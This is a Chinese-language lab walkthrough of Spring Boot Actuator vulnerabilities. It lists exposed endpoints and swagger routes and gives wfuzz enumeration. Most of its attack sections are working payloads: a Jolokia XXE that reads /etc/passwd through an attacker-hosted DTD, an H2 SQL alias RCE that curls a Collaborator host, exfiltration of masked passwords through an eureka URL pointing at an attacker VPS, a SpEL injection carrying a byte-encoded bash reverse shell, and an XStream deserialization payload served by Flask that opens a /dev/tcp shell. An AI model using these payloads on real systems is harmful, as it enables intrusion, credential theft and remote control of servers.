Bootstrap

SpringBoot漏洞

Spring简介

spring 是 java web 里非常常见的组件了, 自然也是研究的热门, 好用的漏洞主要是 Spring Boot
Actuators 反序列化。

Actuators介绍

Spring Boot 基本上是 Spring 框架的扩展。 Actuator 是 Springboot 提供的用来对应用系统进行
自省和监控的功能模块,借助于 Actuator ,开发者可以很方便地对应用系统的某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点( endpoints )来获取应用系统中的监控信息。

常见的端口信息

Spring Boot 1.x 版本默认内置路由的根路径以 / 开始, 2.x 则统一以 /actuator 开始

53. Endpoints:端口信息

SpringBoot漏洞发现

框架特征

绿树叶,和404报错

路由知识

有些程序员会自定义 /manage 、 /management 、项目 App 相关名称为 spring 根路径
Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv

01.路由地址及接口调用详情泄漏

开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等
直接访问以下两个 swagger 相关路由,验证漏洞是否存在

/v2/api-docs
/swagger-ui.html

其他一些可能会遇到的 swagger、swagger codegen、swagger dubbo 等相关接口路由

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以 "默认安全" 来讲, 不暴露出这些信息更加安全。

对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否
存在未授权访问、越权等其他业务类型漏洞。

02.配置不当而暴露的路由

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置.
可能因为配置不当而暴露的默认内置路由参考:

https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-readyendpoints
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt

其中对寻找漏洞比较重要接口的有:

01./env 、 /actuator/env

GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;
同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

02./refresh 、 /actuator/refresh

POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相 关 RCE 漏洞。

/restart 、 /actuator/restart

暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请 求 /restart 接口重启应用来触发相关 RCE 漏洞。

/jolokia 、 /actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩

的重要隐私信息的明文等。

/trace 、 /actuator/httptrace

一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效 用户或管理员的 cookie、jwt token 等信息。

快速fuzz常见端点接口: https://wfuzz.readthedocs.io/en/latest/

wfuzz -w spring-endpoint.txt --sc 200 -f out.html,html http://ip:port
spring-endpoint.txt :收集的spring端点接口路径的字典
--sc 200 : 只显示响应状态码为200的请求信息
--hc 404 : 不显示响应状态码为404的请求信息
-f :指定文件类型
xxx.html,html : 输出文件,输出格式

环境搭建

安装Spring 1.X

1.下载项目源码
git clone https://github.com/veracode-research/actuator-testbed.git

2.修改src/main/resources/application.properties

将server.address=127.0.0.1     修改为0.0.0.0

 3.运行Spring

在actuator-testbed目录下执行命令:

mvn install

mvn spring-boot:run

 出现以下界面,不要退出和关闭界面

4.添加mysql连接配置:

vim src/main/resources/application.properties

添加以下代码

spring.datasource.name=druidDataSource
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://localhost:3306/sakila?characterEncoding=utf-
8&allowMultiQueries=true&autoReconnect=true
spring.datasource.username=admin
spring.datasource.password=112233

路由知识

1.有些程序员会自定义 /manage 、 /management 、项目 App 相关名称为 spring 根路径
2.Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
3.Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv

实验环境

靶机:kali+springboot  IP:XXX.XXX.XXX.130

攻击机:kali                   IP:XXX.XXX.XXX.152

漏洞复现

自动化检测脚本

GitHub - rabbitmask/SB-Actuator: Spring Boot Actuator未授权访问【XXE、RCE】单/多目标检测

一、Jolokia XXE任意文件读取

1.漏洞检测:jolokia/list

查看jolokia/list中存在的Mbeans,是否存在logback 库提供的reloadByURL方法

2.靶机上创建文件:logback.xml和ian.dtd

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM
"http://172.16.115.130:8000/ian.dtd">%remote;%int;]>
<a>&trick;</a>

ian.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

3.在文件目录下,使用python3开启web服务 python -m http.server 调用目标服务器访问

 4.远程访问logback.xml文件

攻击机发起请求:

http://172.16.115.130:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type
=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/172.16.115.130:
8000!/logback.xml

收到请求

成功利用xxe读取到etc/passwd文件内容

漏洞利用 - Spring Boot Actuator H2 RCE 

漏洞环境搭建

1.下载漏洞环境

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git

漏洞简介

 cd spring-boot-actuator-h2-rce # 进入目录

docker build -t spaceraccoon/spring-boot-rce-lab .

docker run -p 8086:8080 -t spaceraccoon/spring-boot-rce-lab。#端口任意

2.登陆网站,1.x版本:http://ip:port/env     2.x版本:http://ip:port/actuator/env

3.打开burp,拦截网站请求。

发送至Request模块,修改请求为:POST 

修改:Content-Type:application/json

#2.x版本、传参格式为:json

4.输入以下poc

 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext())

{return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl t82y8m52x92ka5hdd121ivn2ptvpje.burpcollaborator.net');"}

5.将curl地址,更改为burp地址

#点击burp,选择burp collaborator client

返回结果为200,传参成功

刷新重启

点击poll now,出现dns解析结果

此环境漏洞使用docker搭建,所以无法执行反弹shell命令,在实战中可以执行反弹shell命令.

漏洞利用 - env敏感信息脱星

利用条件

可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starteractuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)

攻击机:XXX.XXX.XXX.130

靶    机:XXX.XXX.XXX.152

开启环境

cd actuator-testbed

mvn install

mvn spring-boot:run

一: 找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

找到spring.datasource.password:

漏洞利用

poc

spring 1.x:
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

spring 2.x:
POST /actuator/env

Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.
user.password}@your-vps-ip"}

#your-vps-ip 更改为攻击机ip 地址。

1.burp拦截请求,发送至request,修改请求为:POST

使用poc:

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

点击send发送:

返回结果,设置成功

刷新网页,查看设置是否成功

2.打开监听

3.刷新配置

spring 1.x:
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x:
POST /actuator/refresh Content-Type: application/json

此时监听收到以下内容

 4.base64解码

Authorization: Basic dmFsdWU6MTEyMjMz

将红色部分使用 base64解码,得到明文如下:

value:112233

远程代码执行漏洞复现

一、whitelabel error page SpEL RCE

漏洞环境:repository/springboot-spel-rce

项目地址:git clone https://github.com/LandGrey/SpringBootVulExploit.git

 修改 SpringBootVulExploit/repository/springboot-spelrce/src/main/resources/application.properties

vim application.properties

#注释第二行,添加server.address=0.0.0.0

进入目录,编译启动

mvn spring-boot:run

访问靶场

利用条件

spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0。
至少知道一个触发 springboot 默认错误页面的接口及参数名。

利用方法

1.找到一个正常传参处
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page ,则后续 payload 都将会在参数 id 处尝试。

2.执行 SpEL 表达式

输入/article?id=${8*8} ,如果发现报错页面将 8*8的值 64计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由以下字符串格式转换成 0x** java 字节形式,方便执行任意代码:

# coding: utf-8

result = ""
target = 'touch /tmp/web'
for x in target:
   result += hex(ord(x)) + ","
print(result.rstrip(','))


转换后:0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x77,0x65,0x62

执行 touch  /tmp/web 命令: 

http://172.16.115.152:9091/article?id==${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x77,0x65,0x62}))}

命令已经执行,但是无法查看

执行bash反弹shell命令

bash -i >& /dev/tcp/172.16.115.130/8888 0>&1   
转换后:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84ODg4IDA+JjHCoAo=
书写为以下格式:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84ODg4IDA+JjHCoAo=}|{base64,-d}|{bash,-i}

# coding: utf-8

result = ""
target = 'XXXXXXX'
for x in target:
   result += hex(ord(x)) + ","
print(result.rstrip(','))

#将红色部分替换为以下代码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTE1LjEzMC84ODg4IDA+JjHCoAo=}|{base64,-d}|{bash,-i}

将转码后的bash命令,使用工具,生成byte字节码。

 攻击机监听端口:

 执行以下payload:

/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4e,0x7a,0x49,0x75,0x4d,0x54,0x59,0x75,0x4d,0x54,0x45,0x31,0x4c,0x6a,0x45,0x7a,0x4d,0x43,0x38,0x34,0x4f,0x44,0x67,0x34,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x48,0x43,0x6f,0x41,0x6f,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

 执行成功

监听返回结果,反弹shell没有成功(检测几次后无果)

漏洞原理

1.springboot处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中

2.此时 URL 中的参数值会用 parseStringValue 方法进行递归解析

3.其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

eureka xstream deserialization RCE

进入/web/SpringBootVulExploit/repository/springboot-eureka-xstream-rce目录

1.编辑 application.properties 文件

vim application.properties

#注释第二行,添加server.address=0.0.0.0

2.编译启动:mvn spring-boot:run

访问靶场

 利用条件

可以 POST 请求目标网站的 /env 接口设置属性
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starteractuator 依赖)
目标使用的 eureka-client  < 1.8.7(通常包含在 spring-cloud-starter-netflix-eurekaclient 依赖中)
目标可以请求攻击者的 HTTP 服务器(请求可出外网)

利用方法

1.架设响应恶意 XStream payload 的网站
提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >&amp; /dev/tcp/172.16.115.130/6688 0>&amp;1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8088)

2.开启web服务

python3 shell.py

3.开启监听

4.设置 eureka.client.serviceUrl.defaultZone 属性

 eureka.client.serviceUrl.defaultZone=http://172.16.115.130:8088/example

spring1.X不需要修改参数

#GET和POST请求,都可以反弹shell

spring2.X

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/xstream"}

5.刷新配置

spring1.X

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring2.X

POST /actuator/refresh
Content-Type: application/json

6.反弹shell

POST和GET请求,都可以反弹shell,但靶场只能反弹一次,第二次尝试无法反弹shell。

;